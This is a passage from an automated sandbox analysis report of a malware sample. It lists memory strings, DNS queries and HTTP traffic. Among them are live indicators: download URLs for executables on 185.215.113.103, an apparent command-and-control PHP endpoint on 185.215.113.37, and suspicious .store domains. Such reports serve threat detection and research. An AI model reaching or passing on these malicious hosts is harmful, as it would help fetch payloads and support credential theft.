https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb3e1a0cb63bea3f237584fc972a7c186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=10e3af70382235a455268ced; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 17 Oct 2024 16:40:18 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb3e1a0cb63bea3f237584fc972a7c186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=aaf98a2f33ad4f691fefe139; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 17 Oct 2024 16:38:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.1939472477.0000010CA98F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1939472477.0000010CA98F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0880C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0880C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0880C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.1952338389.0000010CB1CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/injections/js/bug1842437-www.youtube.com-performance-now-precision.js equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ueniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2000150466.0000010CA87D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1998895134.0000010CA8AF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974359870.0000010CA8AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2000150466.0000010CA875D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1939850905.0000010CA974B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 17 Oct 2024 16:38:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m9n5j%2BIYgvsvUluIqUsCKv2cO4qSm9%2FePn92Q3As8O0BV%2BHiPi40bFhfxvwK6Y%2BqMl5dx6305YhWj6wOlUmJKBGxmsu78yI968lFO%2FfY4Yzpdp2cfVvbHESuwmyYfK4YfiVC4Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d41b81749270c3a-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 17 Oct 2024 16:40:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sOTwcEm%2FzpTfLQ04WHgvZXzG2TGoqFKxTuRETeVZ1ZY9ONjyMn343Eiqc2ybKPgQM1SwxJUH%2FOgq4x4pCOmyQYN%2BbNQ7kCnxfd4J5P64F0f%2FYrDftqPi5OHUqKORQ%2FxQ%2BPsoHA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d41bb240e72e96a-DFW

Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.1658036458.0000000005F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/
Source: file.exe, file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exe
Source: file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exer
Source: file.exe, file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2640697345.0000000000B28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2640697345.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe.
Source: file.exe, file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exe
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37-
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/NTD~1
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-l
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5l
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9l
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWindows
Source: firefox.exe, 00000015.00000003.1972294817.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000015.00000003.1972294817.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000015.00000003.1972294817.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000015.00000003.1972294817.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921580733.0000010CA4E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921580733.0000010CA4E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000015.00000003.1970972518.0000010CA9420000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1986003364.0000010CAF527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000015.00000003.2005213057.0000010CA7B6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000015.00000003.1970972518.0000010CA9420000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000015.00000003.1806799918.0000010CAF778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825686125.0000010CA92AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1934597690.0000010CAABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1882240918.0000010CA96C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1932667988.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1948934504.0000010CA921F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962258225.0000010CAAD0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1881358658.0000010CA92C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1923466179.0000010CA9141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974551293.0000010CA7AA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1817448763.0000010CA923B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1960733855.0000010CAF6D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1941124932.0000010CA931C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1959502812.0000010CAF778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1882240918.0000010CA9643000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1817448763.0000010CA921B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1808673758.0000010CA99F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1963704735.0000010CAABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
